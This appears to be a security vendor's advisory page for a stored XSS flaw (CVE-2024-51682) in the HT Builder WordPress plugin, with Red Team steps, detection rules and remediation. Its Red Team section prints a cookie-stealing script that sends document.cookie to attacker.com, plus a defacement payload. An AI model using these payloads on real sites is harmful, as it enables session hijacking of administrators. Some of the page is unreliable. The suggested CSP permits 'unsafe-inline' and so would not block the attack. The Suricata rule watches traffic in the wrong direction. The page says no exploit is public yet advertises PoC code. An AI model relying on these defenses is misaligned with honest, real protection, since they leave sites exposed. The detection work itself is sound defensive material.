CVE-2024-51682
Executive Summary
CVE-2024-51682 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Builder – WordPress Theme Builder for Elementor plugin, developed by HasThemes. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the plugin. The injected script executes in the context of any user viewing the affected page, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability affects all versions up to and including 1.3.0. No official patch has been released, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. There is no associated NPM, PyPI, Go, or Ruby package; however, the plugin may be bundled in some commercial themes or site builders, expanding its supply chain impact. Administrators should verify if any custom or third-party themes include HT Builder and assess exposure.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level WordPress user)
- User Interaction: Required (victim must visit the compromised page)
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature means a single injection can affect all visitors, making it a persistent threat. The lack of a patch increases the urgency for mitigation.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input in the HT Builder plugin. The plugin allows users to create custom theme templates (header, footer, single post, etc.) via Elementor. When a user with contributor-level access or higher inserts a widget or custom HTML block that includes unsanitized JavaScript, the plugin fails to escape the output during page rendering. This stored XSS is triggered when any user (including administrators) visits a page that uses the compromised template.
Root Cause: The plugin does not apply WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) to user input before storing it in the database or rendering it on the frontend. Specifically, the vulnerability exists in the template builder’s handling of custom CSS/JS fields or widget attributes.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a theme template (e.g., header) using HT Builder.
- Attacker inserts a malicious payload (e.g.,
<script>alert('XSS')</script>) into a text field, custom CSS, or widget attribute. - The payload is stored in the WordPress database without sanitization.
- When an administrator or visitor loads any page using that template, the script executes in their browser.
Vulnerable vs. Patched Code
Since no official patch is available, the following comparison is based on expected secure coding practices.
Vulnerable Code (hypothetical example from HT Builder):
// In a template rendering function
echo $custom_css; // Direct output without escaping
Patched Code (recommended fix):
// Properly escape output
echo esc_html( $custom_css );
// Or for CSS context:
echo '<style>' . wp_strip_all_tags( $custom_css ) . '</style>';
The patched version would use WordPress escaping functions to neutralize any HTML/JavaScript before output.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with HT Builder plugin version <= 1.3.0.
- Contributor-level user account.
Steps:
- Log in as a contributor.
- Navigate to Appearance > Theme Builder (or similar HT Builder menu).
- Create a new template (e.g., Header).
- Add a Custom HTML widget or use the Custom CSS field.
- Inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save and publish the template.
- Send a link to the target page (e.g., homepage) to an administrator.
- When the admin visits the page, the script executes and exfiltrates their session cookie.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>
Blue Team
Detection & Response:
- Monitor WordPress admin logs for unusual template creation or editing by low-privilege users.
- Use a Web Application Firewall (WAF) with rules to block
<script>tags in POST requests towp-admin/admin-ajax.phpor template save endpoints. - Regularly scan the database for suspicious entries in the
wp_postmetatable (e.g.,meta_keycontaining_elementor_datawith script tags). - Implement Content Security Policy (CSP) headers to restrict script execution:
Note: This may break legitimate plugin functionality; test thoroughly.Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
Lab Setup:
- Use a local WordPress environment (e.g., Local by Flywheel, Docker).
- Install HT Builder plugin version 1.3.0.
- Create a contributor user and follow the Red Team steps to confirm the vulnerability.
- Apply the recommended patch (modify plugin files) and verify the fix.
Indicators of Compromise (IOCs)
- File System: Modified plugin files in
/wp-content/plugins/ht-builder/(if attacker uploads a backdoored version). - Database: Entries in
wp_postsorwp_postmetacontaining<script>tags or obfuscated JavaScript. - Network: Outbound HTTP requests to unknown domains from the WordPress server (cookie exfiltration).
- Logs: Unusual template creation events in WordPress activity logs (if plugin logs such actions).
- Browser: Unexpected pop-ups, redirects, or altered page content for visitors.
Detection Engineering
YARA Rule
rule CVE_2024_51682_Stored_XSS {
meta:
description = "Detects stored XSS payloads in HT Builder plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51682"
strings:
$script_tag = /<script[\s>]/ nocase
$onerror = /onerror\s*=/ nocase
$onload = /onload\s*=/ nocase
$elementor_data = /_elementor_data/ nocase
condition:
$elementor_data and ($script_tag or $onerror or $onload)
}
Sigma Rule
title: Stored XSS via HT Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in HT Builder plugin templates
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=elementor_ajax'
cs-uri-query|contains: 'actions=save_builder'
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in custom HTML widgets (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51682 HT Builder Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to site functionality.
- Restrict user roles: Remove contributor-level access from untrusted users.
- Apply virtual patching: Use a WAF to block requests containing
<script>tags in template save endpoints. - Audit existing templates: Manually review all HT Builder templates for malicious code.
Long-Term Fix:
- Since no official patch exists, consider forking the plugin and applying the following code fix:
- In all output functions, replace
echo $var;withecho esc_html( $var );orecho wp_kses_post( $var );as appropriate.
- In all output functions, replace
- Monitor the plugin’s repository for an official update and apply it immediately when released.
Alternative:
- Migrate to a different theme builder plugin that is actively maintained and patched.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.